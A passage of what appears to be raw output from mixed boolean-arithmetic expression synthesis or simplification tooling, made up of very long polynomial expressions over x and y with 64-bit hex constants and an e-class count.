y)))+((((x|y)*((x|y)*(x|y)))*0xfd1b3a0000000000)*(x&(~y))))+((((x|y)*((x|y)*(x|y)))*0x2e4c60000000000)*(x&y)))+(((((x|y)*(x|y))*0xf97d428000000000)*(x*y))*y))+(((((x|y)*(x|y))*0xf97d428000000000)*(x*y))*((~x)^y)))+(((((x|y)*(x|y))*0xf97d428000000000)*(x*y))*(x&(~y))))+(((((x|y)*(x|y))*0x682bd8000000000)*(x*y))*(x&y)))+(((((x|y)*(x|y))*0xfba8d70000000000)*(y^x))*y))+(((((x|y)*(x|y))*0xfba8d70000000000)*(y^x))*((~x)^y)))+(((((x|y)*(x|y))*0xfba8d70000000000)*(y^x))*(x&(~y))))+(((((x|y)*(x|y))*0x457290000000000)*(y^x))*(x&y)))+((((x|y)*0xbb1df1e000000000)*((x*y)*(x*y)))*y))+((((x|y)*0xbb1df1e000000000)*((x*y)*(x*y)))*((~x)^y)))+((((x|y)*0xbb1df1e000000000)*((x*y)*(x*y)))*(x&(~y))))+((((x|y)*0x44e20e2000000000)*((x*y)*(x*y)))*(x&y)))+(((((x|y)*0xf97d428000000000)*(x*y))*(y^x))*y))+(((((x|y)*0xf97d428000000000)*(x*y))*(y^x))*((~x)^y)))+(((((x|y)*0xf97d428000000000)*(x*y))*(y^x))*(x&(~y))))+(((((x|y)*0x682bd8000000000)*(x*y))*(y^x))*(x&y)))+((((x|y)*0xfdd46b8000000000)*((y^x)*(y^x)))*y))+((((x|y)*0xfdd46b8000000000)*((y^x)*(y^x)))*((~x)^y)))+((((x|y)*0xfdd46b8000000000)*((y^x)*(y^x)))*(x&(~y))))+((((x|y)*0x22b948000000000)*((y^x)*(y^x)))*(x&y)))+((((x*y)*((x*y)*(x*y)))*0xeec77c7800000000)*y))+((((x*y)*((x*y)*(x*y)))*0xeec77c7800000000)*((~x)^y)))+((((x*y)*((x*y)*(x*y)))*0xeec77c7800000000)*(x&(~y))))+((((x*y)*((x*y)*(x*y)))*0x1138838800000000)*(x&y)))+(((((x*y)*(x*y))*0xdd8ef8f000000000)*(y^x))*y))+(((((x*y)*(x*y))*0xdd8ef8f000000000)*(y^x))*((~x)^y)))+(((((x*y)*(x*y))*0xdd8ef8f000000000)*(y^x))*(x&(~y))))+(((((x*y)*(x*y))*0x2271071000000000)*(y^x))*(x&y)))+((((x*y)*0x3e5f50a000000000)*((y^x)*(y^x)))*y))+((((x*y)*0x3e5f50a000000000)*((y^x)*(y^x)))*((~x)^y)))+((((x*y)*0x3e5f50a000000000)*((y^x)*(y^x)))*(x&(~y))))+((((x*y)*0xc1a0af6000000000)*((y^x)*(y^x)))*(x&y)))+((((y^x)*((y^x)*(y^x)))*0x7fa3674000000000)*y))+((((y^x)*((y^x)*(y^x)))*0x7fa3674000000000)*((~x)^y)))+((((y^x)*((y^x)*(y^x)))*0x7fa3674000000000)*(x&(~y))))+((((y^x)*((y^x)*(y^x)))*0x805c98c000000000)*(x&y)))+((((x|y)*(x|y))*0xac0b088000000000)*(y*y)))+(((((x|y)*(x|y))*0x5816110000000000)*y)*((~x)^y)))+(((((x|y)*(x|y))*0x5816110000000000)*y)*(x&(~y))))+(((((x|y)*(x|y))*0xa7e9ef0000000000)*y)*(x&y)))+((((x|y)*(x|y))*0xac0b088000000000)*(((~x)^y)*((~x)^y))))+(((((x|y)*(x|y))*0x5816110000000000)*((~x)^y))*(x&(~y))))+(((((x|y)*(x|y))*0xa7e9ef0000000000)*((~x)^y))*(x&y)))+((((x|y)*(x|y))*0xac0b088000000000)*((x&(~y))*(x&(~y)))))+(((((x|y)*(x|y))*0xa7e9ef0000000000)*(x&(~y)))*(x&y)))+((((x|y)*(x|y))*0xac0b088000000000)*((x&y)*(x&y))))+((((x|y)*0x82108cc000000000)*(x*y))*(y*y)))+(((((x|y)*0x421198000000000)*(x*y))*y)*((~x)^y)))+(((((x|y)*0x421198000000000)*(x*y))*y)*(x&(~y))))+(((((x|y)*0xfbdee68000000000)*(x*y))*y)*(x&y)))+((((x|y)*0x82108cc000000000)*(x*y))*(((~x)^y)*((~x)^y))))+(((((x|y)*0x421198000000000)*(x*y))*((~x)^y))*(x&(~y))))+(((((x|y)*0xfbdee68000000000)*(x*y))*((~x)^y))*(x&y)))+((((x|y)*0x82108cc000000000)*(x*y))*((x&(~y))*(x&(~y)))))+(((((x|y)*0xfbdee68000000000)*(x*y))*(x&(~y)))*(x&y)))+((((x|y)*0x82108cc000000000)*(x*y))*((x&y)*(x&y))))+((((x|y)*0xac0b088000000000)*(y^x))*(y*y)))+(((((x|y)*0x5816110000000000)*(y^x))*y)*((~x)^y)))+(((((x|y)*0x5816110000000000)*(y^x))*y)*(x&(~y))))+(((((x|y)*0xa7e9ef0000000000)*(y^x))*y)*(x&y)))+((((x|y)*0xac0b088000000000)*(y^x))*(((~x)^y)*((~x)^y))))+(((((x|y)*0x5816110000000000)*(y^x))*((~x)^y))*(x&(~y))))+(((((x|y)*0xa7e9ef0000000000)*(y^x))*((~x)^y))*(x&y)))+((((x|y)*0xac0b088000000000)*(y^x))*((x&(~y))*(x&(~y)))))+(((((x|y)*0xa7e9ef0000000000)*(y^x))*(x&(~y)))*(x&y)))+((((x|y)*0xac0b088000000000)*(y^x))*((x&y)*(x&y))))+((((x*y)*(x*y))*0xb0c634c800000000)*(y*y)))+(((((x*y)*(x*y))*0x618c699000000000)*y)*((~x)^y)))+(((((x*y)*(x*y))*0x618c699000000000)*y)*(x&(~y))))+(((((x*y)*(x*y))*0x9e73967000000000)*y)*(x&y)))+((((x*y)*(x*y))*0xb0c634c800000000)*(((~x)^y)*((~x)^y))))+(((((x*y)*(x*y))*0x618c699000000000)*((~x)^y))*(x&(~y))))+(((((x*y)*(x*y))*0x9e73967000000000)*((~x)^y))*(x&y)))+((((x*y)*(x*y))*0xb0c634c800000000)*((x&(~y))*(x&(~y)))))+(((((x*y)*(x*y))*0x9e73967000000000)*(x&(~y)))*(x&y)))+((((x*y)*(x*y))*0xb0c634c800000000)*((x&y)*(x&y))))+((((x*y)*0x4108466000000000)*(y^x))*(y*y)))+(((((x*y)*0x82108cc000000000)*(y^x))*y)*((~x)^y)))+(((((x*y)*0x82108cc000000000)*(y^x))*y)*(x&(~y))))+(((((x*y)*0x7def734000000000)*(y^x))*y)*(x&y)))+((((x*y)*0x4108466000000000)*(y^x))*(((~x)^y)*((~x)^y))))+(((((x*y)*0x82108cc000000000)*(y^x))*((~x)^y))*(x&(~y))))+(((((x*y)*0x7def734000000000)*(y^x))*((~x)^y))*(x&y)))+((((x*y)*0x4108466000000000)*(y^x))*((x&(~y))*(x&(~y)))))+(((((x*y)*0x7def734000000000)*(y^x))*(x&(~y)))*(x&y)))+((((x*y)*0x4108466000000000)*(y^x))*((x&y)*(x&y))))+((((y^x)*(y^x))*0x6b02c22000000000)*(y*y)))+(((((y^x)*(y^x))*0xd605844000000000)*y)*((~x)^y)))+(((((y^x)*(y^x))*0xd605844000000000)*y)*(x&(~y))))+(((((y^x)*(y^x))*0x29fa7bc000000000)*y)*(x&y)))+((((y^x)*(y^x))*0x6b02c22000000000)*(((~x)^y)*((~x)^y))))+(((((y^x)*(y^x))*0xd605844000000000)*((~x)^y))*(x&(~y))))+(((((y^x)*(y^x))*0x29fa7bc000000000)*((~x)^y))*(x&y)))+((((y^x)*(y^x))*0x6b02c22000000000)*((x&(~y))*(x&(~y)))))+(((((y^x)*(y^x))*0x29fa7bc000000000)*(x&(~y)))*(x&y)))+((((y^x)*(y^x))*0x6b02c22000000000)*((x&y)*(x&y))))+(((x|y)*0x5080768000000000)*(y*(y*y))))+((((x|y)*0xf181638000000000)*(y*y))*((~x)^y)))+((((x|y)*0xf181638000000000)*(y*y))*(x&(~y))))+((((x|y)*0xe7e9c8000000000)*(y*y))*(x&y)))+((((x|y)*0xf181638000000000)*y)*(((~x)^y)*((~x)^y))))+(((((x|y)*0xe302c70000000000)*y)*((~x)^y))*(x&(~y))))+(((((x|y)*0x1cfd390000000000)*y)*((~x)^y))*(x&y)))+((((x|y)*0xf181638000000000)*y)*((x&(~y))*(x&(~y)))))+(((((x|y)*0x1cfd390000000000)*y)*(x&(~y)))*(x&y)))+((((x|y)*0xf181638000000000)*y)*((x&y)*(x&y))))+(((x|y)*0x5080768000000000)*(((~x)^y)*(((~x)^y)*((~x)^y)))))+((((x|y)*0xf181638000000000)*(((~x)^y)*((~x)^y)))*(x&(~y))))+((((x|y)*0xe7e9c8000000000)*(((~x)^y)*((~x)^y)))*(x&y)))+((((x|y)*0xf181638000000000)*((~x)^y))*((x&(~y))*(x&(~y)))))+(((((x|y)*0x1cfd390000000000)*((~x)^y))*(x&(~y)))*(x&y)))+((((x|y)*0xf181638000000000)*((~x)^y))*((x&y)*(x&y))))+(((x|y)*0x5080768000000000)*((x&(~y))*((x&(~y))*(x&(~y))))))+((((x|y)*0xe7e9c8000000000)*((x&(~y))*(x&(~y))))*(x&y)))+((((x|y)*0xf181638000000000)*(x&(~y)))*((x&y)*(x&y))))+(((x|y)*0xaf7f898000000000)*((x&y)*((x&y)*(x&y)))))+(((x*y)*0x3c6058e000000000)*(y*(y*y))))+((((x*y)*0xb5210aa000000000)*(y*y))*((~x)^y)))+((((x*y)*0xb5210aa000000000)*(y*y))*(x&(~y))))+((((x*y)*0x4adef56000000000)*(y*y))*(x&y)))+((((x*y)*0xb5210aa000000000)*y)*(((~x)^y)*((~x)^y))))+(((((x*y)*0x6a42154000000000)*y)*((~x)^y))*(x&(~y))))+(((((x*y)*0x95bdeac000000000)*y)*((~x)^y))*(x&y)))+((((x*y)*0xb5210aa000000000)*y)*((x&(~y))*(x&(~y)))))+(((((x*y)*0x95bdeac000000000)*y)*(x&(~y)))*(x&y)))+((((x*y)*0xb5210aa000000000)*y)*((x&y)*(x&y))))+(((x*y)*0x3c6058e000000000)*(((~x)^y)*(((~x)^y)*((~x)^y)))))+((((x*y)*0xb5210aa000000000)*(((~x)^y)*((~x)^y)))*(x&(~y))))+((((x*y)*0x4adef56000000000)*(((~x)^y)*((~x)^y)))*(x&y)))+((((x*y)*0xb5210aa000000000)*((~x)^y))*((x&(~y))*(x&(~y)))))+(((((x*y)*0x95bdeac000000000)*((~x)^y))*(x&(~y)))*(x&y)))+((((x*y)*0xb5210aa000000000)*((~x)^y))*((x&y)*(x&y))))+(((x*y)*0x3c6058e000000000)*((x&(~y))*((x&(~y))*(x&(~y))))))+((((x*y)*0x4adef56000000000)*((x&(~y))*(x&(~y))))*(x&y)))+((((x*y)*0xb5210aa000000000)*(x&(~y)))*((x&y)*(x&y))))+(((x*y)*0xc39fa72000000000)*((x&y)*((x&y)*(x&y)))))+(((y^x)*0x28403b4000000000)*(y*(y*y))))+((((y^x)*0x78c0b1c000000000)*(y*y))*((~x)^y)))+((((y^x)*0x78c0b1c000000000)*(y*y))*(x&(~y))))+((((y^x)*0x873f4e4000000000)*(y*y))*(x&y)))+((((y^x)*0x78c0b1c000000000)*y)*(((~x)^y)*((~x)^y))))+(((((y^x)*0xf181638000000000)*y)*((~x)^y))*(x&(~y))))+(((((y^x)*0xe7e9c8000000000)*y)*((~x)^y))*(x&y)))+((((y^x)*0x78c0b1c000000000)*y)*((x&(~y))*(x&(~y)))))+(((((y^x)*0xe7e9c8000000000)*y)*(x&(~y)))*(x&y)))+((((y^x)*0x78c0b1c000000000)*y)*((x&y)*(x&y))))+(((y^x)*0x28403b4000000000)*(((~x)^y)*(((~x)^y)*((~x)^y)))))+((((y^x)*0x78c0b1c000000000)*(((~x)^y)*((~x)^y)))*(x&(~y))))+((((y^x)*0x873f4e4000000000)*(((~x)^y)*((~x)^y)))*(x&y)))+((((y^x)*0x78c0b1c000000000)*((~x)^y))*((x&(~y))*(x&(~y)))))+(((((y^x)*0xe7e9c8000000000)*((~x)^y))*(x&(~y)))*(x&y)))+((((y^x)*0x78c0b1c000000000)*((~x)^y))*((x&y)*(x&y))))+(((y^x)*0x28403b4000000000)*((x&(~y))*((x&(~y))*(x&(~y))))))+((((y^x)*0x873f4e4000000000)*((x&(~y))*(x&(~y))))*(x&y)))+((((y^x)*0x78c0b1c000000000)*(x&(~y)))*((x&y)*(x&y))))+(((y^x)*0xd7bfc4c000000000)*((x&y)*((x&y)*(x&y)))))+((y*(y*(y*y)))*0x820278b000000000))+(((y*(y*y))*0x809e2c000000000)*((~x)^y)))+(((y*(y*y))*0x809e2c000000000)*(x&(~y))))+(((y*(y*y))*0xf7f61d4000000000)*(x&y)))+(((y*y)*0xc0ed42000000000)*(((~x)^y)*((~x)^y))))+((((y*y)*0x181da84000000000)*((~x)^y))*(x&(~y))))+((((y*y)*0xe7e257c000000000)*((~x)^y))*(x&y)))+(((y*y)*0xc0ed42000000000)*((x&(~y))*(x&(~y)))))+((((y*y)*0xe7e257c000000000)*(x&(~y)))*(x&y)))+(((y*y)*0xc0ed42000000000)*((x&y)*(x&y))))+((y*0x809e2c000000000)*(((~x)^y)*(((~x)^y)*((~x)^y)))))+(((y*0x181da84000000000)*(((~x)^y)*((~x)^y)))*(x&(~y))))+(((y*0xe7e257c000000000)*(((~x)^y)*((~x)^y)))*(x&y)))+(((y*0x181da84000000000)*((~x)^y))*((x&(~y))*(x&(~y)))))+((((y*0xcfc4af8000000000)*((~x)^y))*(x&(~y)))*(x&y)))+(((y*0x181da84000000000)*((~x)^y))*((x&y)*(x&y))))+((y*0x809e2c000000000)*((x&(~y))*((x&(~y))*(x&(~y))))))+(((y*0xe7e257c000000000)*((x&(~y))*(x&(~y))))*(x&y)))+(((y*0x181da84000000000)*(x&(~y)))*((x&y)*(x&y))))+((y*0xf7f61d4000000000)*((x&y)*((x&y)*(x&y)))))+((((~x)^y)*(((~x)^y)*(((~x)^y)*((~x)^y))))*0x820278b000000000))+(((((~x)^y)*(((~x)^y)*((~x)^y)))*0x809e2c000000000)*(x&(~y))))+(((((~x)^y)*(((~x)^y)*((~x)^y)))*0xf7f61d4000000000)*(x&y)))+(((((~x)^y)*((~x)^y))*0xc0ed42000000000)*((x&(~y))*(x&(~y)))))+((((((~x)^y)*((~x)^y))*0xe7e257c000000000)*(x&(~y)))*(x&y)))+(((((~x)^y)*((~x)^y))*0xc0ed42000000000)*((x&y)*(x&y))))+((((~x)^y)*0x809e2c000000000)*((x&(~y))*((x&(~y))*(x&(~y))))))+(((((~x)^y)*0xe7e257c000000000)*((x&(~y))*(x&(~y))))*(x&y)))+(((((~x)^y)*0x181da84000000000)*(x&(~y)))*((x&y)*(x&y))))+((((~x)^y)*0xf7f61d4000000000)*((x&y)*((x&y)*(x&y)))))+(((x&(~y))*((x&(~y))*((x&(~y))*(x&(~y)))))*0x820278b000000000))+((((x&(~y))*((x&(~y))*(x&(~y))))*0xf7f61d4000000000)*(x&y)))+((((x&(~y))*(x&(~y)))*0xc0ed42000000000)*((x&y)*(x&y))))+(((x&(~y))*0xf7f61d4000000000)*((x&y)*((x&y)*(x&y)))))+(((x&y)*((x&y)*((x&y)*(x&y))))*0x820278b000000000))
====================================================================================================
eclasses #: 2822
Synthesized (cost = 5009): ((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((x|y)*0xe6b5be4000000004)+0x67c62228de18a6ae)+((x*y)*0xed084eb000000003))+((y^x)*0xf35adf2000000002))+(((x|y)*(x|y))*0x92f441c000000000))+(((x|y)*0xdc6e62a000000000)*(x*y)))+(((x|y)*0x92f441c000000000)*(y^x)))+(((x*y)*(x*y))*0x92a964fc00000000))+(((x*y)*0x6e37315000000000)*(y^x)))+(((y^x)*(y^x))*0x24bd107000000000))+(((x|y)*((x|y)*(x|y)))*0xfd1b3a0000000000))+((((x|y)*(x|y))*0xf97d428000000000)*(x*y)))+((((x|y)*(x|y))*0xfba8d70000000000)*(y^x)))+(((x|y)*0xbb1df1e000000000)*((x*y)*(x*y))))+((((x|y)*0xf97d428000000000)*(x*y))*(y^x)))+(((x|y)*0xfdd46b8000000000)*((y^x)*(y^x))))+(((x*y)*((x*y)*(x*y)))*0xeec77c7800000000))+((((x*y)*(x*y))*0xdd8ef8f000000000)*(y^x)))+(((x*y)*0x3e5f50a000000000)*((y^x)*(y^x))))+(((y^x)*((y^x)*(y^x)))*0x7fa3674000000000))+(y*0x22c04c00de18a6ae))+(((~x)^y)*0x22c04c00de18a6ae))+((x&(~y))*0x22c04c00de18a6ae))+((x&y)*0xdd3fb3ff21e75952))+(((x|y)*0x4a9fc5a000000000)*y))+(((x|y)*0x4a9fc5a000000000)*((~x)^y)))+(((x|y)*0x4a9fc5a000000000)*(x&(~y))))+(((x|y)*0xb5603a6000000000)*(x&y)))+(((x*y)*0x37f7d43800000000)*y))+(((x*y)*0x37f7d43800000000)*((~x)^y)))+(((x*y)*0x37f7d43800000000)*(x&(~y))))+(((x*y)*0xc8082bc800000000)*(x&y)))+(((y^x)*0x254fe2d000000000)*y))+(((y^x)*0x254fe2d000000000)*((~x)^y)))+(((y^x)*0x254fe2d000000000)*(x&(~y))))+(((y^x)*0xdab01d3000000000)*(x&y)))+((y*y)*0x3337c25800000000))+((y*0x666f84b000000000)*((~x)^y)))+((y*0x666f84b000000000)*(x&(~y))))+((y*0x99907b5000000000)*(x&y)))+((((~x)^y)*((~x)^y))*0x3337c25800000000))+((((~x)^y)*0x666f84b000000000)*(x&(~y))))+((((~x)^y)*0x99907b5000000000)*(x&y)))+(((x&(~y))*(x&(~y)))*0x3337c25800000000))+(((x&(~y))*0x99907b5000000000)*(x&y)))+(((x&y)*(x&y))*0x3337c25800000000))+((((x|y)*(x|y))*0x3eff4a4000000000)*y))+((((x|y)*(x|y))*0x3eff4a4000000000)*((~x)^y)))+((((x|y)*(x|y))*0x3eff4a4000000000)*(x&(~y))))+((((x|y)*(x|y))*0xc100b5c000000000)*(x&y)))+((((x|y)*0x5e7eef6000000000)*(x*y))*y))+((((x|y)*0x5e7eef6000000000)*(x*y))*((~x)^y)))+((((x|y)*0x5e7eef6000000000)*(x*y))*(x&(~y))))+((((x|y)*0xa18110a000000000)*(x*y))*(x&y)))+((((x|y)*0x3eff4a4000000000)*(y^x))*y))+((((x|y)*0x3eff4a4000000000)*(y^x))*((~x)^y)))+((((x|y)*0x3eff4a4000000000)*(y^x))*(x&(~y))))+((((x|y)*0xc100b5c000000000)*(y^x))*(x&y)))+((((x*y)*(x*y))*0x436f99c400000000)*y))+((((x*y)*(x*y))*0x436f99c400000000)*((~x)^y)))+((((x*y)*(x*y))*0x436f99c400000000)*(x&(~y))))+((((x*y)*(x*y))*0xbc90663c00000000)*(x&y)))+((((x*y)*0xaf3f77b000000000)*(y^x))*y))+((((x*y)*0xaf3f77b000000000)*(y^x))*((~x)^y)))+((((x*y)*0xaf3f77b000000000)*(y^x))*(x&(~y))))+((((x*y)*0x50c0885000000000)*(y^x))*(x&y)))+((((y^x)*(y^x))*0x8fbfd29000000000)*y))+((((y^x)*(y^x))*0x8fbfd29000000000)*((~x)^y)))+((((y^x)*(y^x))*0x8fbfd29000000000)*(x&(~y))))+((((y^x)*(y^x))*0x70402d7000000000)*(x&y)))+(((x|y)*0xb46a7de000000000)*(y*y)))+((((x|y)*0x68d4fbc000000000)*y)*((~x)^y)))+((((x|y)*0x68d4fbc000000000)*y)*(x&(~y))))+((((x|y)*0x972b044000000000)*y)*(x&y)))+(((x|y)*0xb46a7de000000000)*(((~x)^y)*((~x)^y))))+((((x|y)*0x68d4fbc000000000)*((~x)^y))*(x&(~y))))+((((x|y)*0x972b044000000000)*((~x)^y))*(x&y)))+(((x|y)*0xb46a7de000000000)*((x&(~y))*(x&(~y)))))+((((x|y)*0x972b044000000000)*(x&(~y)))*(x&y)))+(((x|y)*0xb46a7de000000000)*((x&y)*(x&y))))+(((x*y)*0x874fde6800000000)*(y*y)))+((((x*y)*0xe9fbcd000000000)*y)*((~x)^y)))+((((x*y)*0xe9fbcd000000000)*y)*(x&(~y))))+((((x*y)*0xf160433000000000)*y)*(x&y)))+(((x*y)*0x874fde6800000000)*(((~x)^y)*((~x)^y))))+((((x*y)*0xe9fbcd000000000)*((~x)^y))*(x&(~y))))+((((x*y)*0xf160433000000000)*((~x)^y))*(x&y)))+(((x*y)*0x874fde6800000000)*((x&(~y))*(x&(~y)))))+((((x*y)*0xf160433000000000)*(x&(~y)))*(x&y)))+(((x*y)*0x874fde6800000000)*((x&y)*(x&y))))+(((y^x)*0x5a353ef000000000)*(y*y)))+((((y^x)*0xb46a7de000000000)*y)*((~x)^y)))+((((y^x)*0xb46a7de000000000)*y)*(x&(~y))))+((((y^x)*0x4b95822000000000)*y)*(x&y)))+(((y^x)*0x5a353ef000000000)*(((~x)^y)*((~x)^y))))+((((y^x)*0xb46a7de000000000)*((~x)^y))*(x&(~y))))+((((y^x)*0x4b95822000000000)*((~x)^y))*(x&y)))+(((y^x)*0x5a353ef000000000)*((x&(~y))*(x&(~y)))))+((((y^x)*0x4b95822000000000)*(x&(~y)))*(x&y)))+(((y^x)*0x5a353ef000000000)*((x&y)*(x&y))))+((y*(y*y))*0xfa40113000000000))+(((y*y)*0xeec0339000000000)*((~x)^y)))+(((y*y)*0xeec0339000000000)*(x&(~y))))+(((y*y)*0x113fcc7000000000)*(x&y)))+((y*0xeec0339000000000)*(((~x)^y)*((~x)^y))))+(((y*0xdd80672000000000)*((~x)^y))*(x&(~y))))+(((y*0x227f98e000000000)*((~x)^y))*(x&y)))+((y*0xeec0339000000000)*((x&(~y))*(x&(~y)))))+(((y*0x227f98e000000000)*(x&(~y)))*(x&y)))+((y*0xeec0339000000000)*((x&y)*(x&y))))+((((~x)^y)*(((~x)^y)*((~x)^y)))*0xfa40113000000000))+(((((~x)^y)*((~x)^y))*0xeec0339000000000)*(x&(~y))))+(((((~x)^y)*((~x)^y))*0x113fcc7000000000)*(x&y)))+((((~x)^y)*0xeec0339000000000)*((x&(~y))*(x&(~y)))))+(((((~x)^y)*0x227f98e000000000)*(x&(~y)))*(x&y)))+((((~x)^y)*0xeec0339000000000)*((x&y)*(x&y))))+(((x&(~y))*((x&(~y))*(x&(~y))))*0xfa40113000000000))+((((x&(~y))*(x&(~y)))*0x113fcc7000000000)*(x&y)))+(((x&(~y))*0xeec0339000000000)*((x&y)*(x&y))))+(((x&y)*((x&y)*(x&y)))*0x5bfeed000000000))+((((x|y)*((x|y)*(x|y)))*0xfd1b3a0000000000)*y))+((((x|y)*((x|y)*(x|y)))*0xfd1b3a0000000000)*((~x)^y)))+((((x|y)*((x|y)*(x|y)))*0xfd1b3a0000000000)*(x&(~y))))+((((x|y)*((x|y)*(x|y)))*0x2e4c60000000000)*(x&y)))+(((((x|y)*(x|y))*0xf97d428000000000)*(x*y))*y))+(((((x|y)*(x|y))*0xf97d428000000000)*(x*y))*((~x)^y)))+(((((x|y)*(x|y))*0xf97d428000000000)*(x*y))*(x&(~y))))+(((((x|y)*(x|y))*0x682bd8000000000)*(x*y))*(x&y)))+(((((x|y)*(x|y))*0xfba8d70000000000)*(y^x))*y))+(((((x|y)*(x|y))*0xfba8d70000000000)*(y^x))*((~x)^y)))+(((((x|y)*(x|y))*0xfba8d70000000000)*(y^x))*(x&(~y))))+(((((x|y)*(x|y))*0x457290000000000)*(y^x))*(x&y)))+((((x|y)*0xbb1df1e000000000)*((x*y)*(x*y)))*y))+((((x|y)*0xbb1df1e000000000)*((x*y)*(x*y)))*((~x)^y)))+((((x|y)*0xbb1df1e000000000)*((x*y)*(x*y)))*(x&(~y))))+((((x|y)*0x44e20e2000000000)*((x*y)*(x*y)))*(x&y)))+(((((x|y)*0xf97d428000000000)*(x*y))*(y^x))*y))+(((((x|y)*0xf97d428000000000)*(x*y))*(y^x))*((~x)^y)))+(((((x|y)*0xf97d428000000000)*(x*y))*(y^x))*(x&(~y))))+(((((x|y)*0x682bd8000000000)*(x*y))*(y^x))*(x&y)))+((((x|y)*0xfdd46b8000000000)*((y^x)*(y^x)))*y))+((((x|y)*0xfdd46b8000000000)*((y^x)*(y^x)))*((~x)^y)))+((((x|y)*0xfdd46b8000000000)*((y^x)*(y^x)))*(x&(~y))))+((((x|y)*0x22b948000000000)*((y^x)*(y^x)))*(x&y)))+((((x*y)*((x*y)*(x*y)))*0xeec77c7800000000)*y))+((((x*y)*((x*y)*(x*y)))*0xeec77c7800000000)*((~x)^y)))+((((x*y)*((x*y)*(x*y)))*0xeec77c7800000000)*(x&(~y))))+((((x*y)*((x*y)*(x*y)))*0x1138838800000000)*(x&y)))+(((((x*y)*(x*y))*0xdd8ef8f000000000)*(y^x))*y))+(((((x*y)*(x*y))*0xdd8ef8f000000000)*(y^x))*((~x)^y)))+(((((x*y)*(x*y))*0xdd8ef8f000000000)*(y^x))*(x&(~y))))+(((((x*y)*(x*y))*0x2271071000000000)*(y^x))*(x&y)))+((((x*y)*0x3e5f50a000000000)*((y^x)*(y^x)))*y))+((((x*y)*0x3e5f50a000000000)*((y^x)*(y^x)))*((~x)^y)))+((((x*y)*0x3e5f50a000000000)*((y^x)*(y^x)))*(x&(~y))))+((((x*y)*0xc1a0af6000000000)*((y^x)*(y^x)))*(x&y)))+((((y^x)*((y^x)*(y^x)))*0x7fa3674000000000)*y))+((((y^x)*((y^x)*(y^x)))*0x7fa3674000000000)*((~x)^y)))+((((y^x)*((y^x)*(y^x)))*0x7fa3674000000000)*(x&(~y))))+((((y^x)*((y^x)*(y^x)))*0x805c98c000000000)*(x&y)))+((((x|y)*(x|y))*0xac0b088000000000)*(y*y)))+(((((x|y)*(x|y))*0x5816110000000000)*y)*((~x)^y)))+(((((x|y)*(x|y))*0x5816110000000000)*y)*(x&(~y))))+(((((x|y)*(x|y))*0xa7e9ef0000000000)*y)*(x&y)))+((((x|y)*(x|y))*0xac0b088000000000)*(((~x)^y)*((~x)^y))))+(((((x|y)*(x|y))*0x5816110000000000)*((~x)^y))*(x&(~y))))+(((((x|y)*(x|y))*0xa7e9ef0000000000)*((~x)^y))*(x&y)))+((((x|y)*(x|y))*0xac0b088000000000)*((x&(~y))*(x&(~y)))))+(((((x|y)*(x|y))*0xa7e9ef0000000000)*(x&(~y)))*(x&y)))+((((x|y)*(x|y))*0xac0b088000000000)*((x&y)*(x&y))))+((((x|y)*0x82108cc000000000)*(x*y))*(y*y)))+(((((x|y)*0x421198000000000)*(x*y))*y)*((~x)^y)))+(((((x|y)*0x421198000000000)*(x*y))*y)*(x&(~y))))+(((((x|y)*0xfbdee68000000000)*(x*y))*y)*(x&y)))+((((x|y)*0x82108cc000000000)*(x*y))*(((~x)^y)*((~x)^y))))+(((((x|y)*0x421198000000000)*(x*y))*((~x)^y))*(x&(~y))))+(((((x|y)*0xfbdee68000000000)*(x*y))*((~x)^y))*(x&y)))+((((x|y)*0x82108cc000000000)*(x*y))*((x&(~y))*(x&(~y)))))+(((((x|y)*0xfbdee68000000000)*(x*y))*(x&(~y)))*(x&y)))+((((x|y)*0x82108cc000000000)*(x*y))*((x&y)*(x&y))))+((((x|y)*0xac0b088000000000)*(y^x))*(y*y)))+(((((x|y)*0x5816110000000000)*(y^x))*y)*((~x)^y)))+(((((x|y)*0x5816110000000000)*(y^x))*y)*(x&(~y))))+(((((x|y)*0xa7e9ef0000000000)*(y^x))*y)*(x&y)))+((((x|y)*0xac0b088000000000)*(y^x))*(((~x)^y)*((~x)^y))))+(((((x|y)*0x5816110000000000)*(y^x))*((~x)^y))*(x&(~y))))+(((((x|y)*0xa7e9ef0000000000)*(y^x))*((~x)^y))*(x&y)))+((((x|y)*0xac0b088000000000)*(y^x))*((x&(~y))*(x&(~y)))))+(((((x|y)*0xa7e9ef0000000000)*(y^x))*(x&(~y)))*(x&y)))+((((x|y)*0xac0b088000000000)*(y^x))*((x&y)*(x&y))))+((((x*y)*(x*y))*0xb0c634c800000000)*(y*y)))+(((((x*y)*(x*y))*0x618c699000000000)*y)*((~x)^y)))+(((((x*y)*(x*y))*0x618c699000000000)*y)*(x&(~y))))+(((((x*y)*(x*y))*0x9e73967000000000)*y)*(x&y)))+((((x*y)*(x*y))*0xb0c634c800000000)*(((~x)^y)*((~x)^y))))+(((((x*y)*(x*y))*0x618c699000000000)*((~x)^y))*(x&(~y))))+(((((x*y)*(x*y))*0x9e73967000000000)*((~x)^y))*(x&y)))+((((x*y)*(x*y))*0xb0c634c800000000)*((x&(~y))*(x&(~y)))))+(((((x*y)*(x*y))*0x9e73967000000000)*(x&(~y)))*(x&y)))+((((x*y)*(x*y))*0xb0c634c800000000)*((x&y)*(x&y))))+((((x*y)*0x4108466000000000)*(y^x))*(y*y)))+(((((x*y)*0x82108cc000000000)*(y^x))*y)*((~x)^y)))+(((((x*y)*0x82108cc000000000)*(y^x))*y)*(x&(~y))))+(((((x*y)*0x7def734000000000)*(y^x))*y)*(x&y)))+((((x*y)*0x4108466000000000)*(y^x))*(((~x)^y)*((~x)^y))))+(((((x*y)*0x82108cc000000000)*(y^x))*((~x)^y))*(x&(~y))))+(((((x*y)*0x7def734000000000)*(y^x))*((~x)^y))*(x&y)))+((((x*y)*0x4108466000000000)*(y^x))*((x&(~y))*(x&(~y)))))+(((((x*y)*0x7def734000000000)*(y^x))*(x&(~y)))*(x&y)))+((((x*y)*0x4108466000000000)*(y^x))*((x&y)*(x&y))))+((((y^x)*(y^x))*0x6b02c22000000000)*(y*y)))+(((((y^x)*(y^x))*0xd605844000000000)*y)*((~x)^y)))+(((((y^x)*(y^x))*0xd605844000000000)*y)*(x&(~y))))+(((((y^x)*(y^x))*0x29fa7bc000000000)*y)*(x&y)))+((((y^x)*(y^x))*0x6b02c22000000000)*(((~x)^y)*((~x)^y))))+((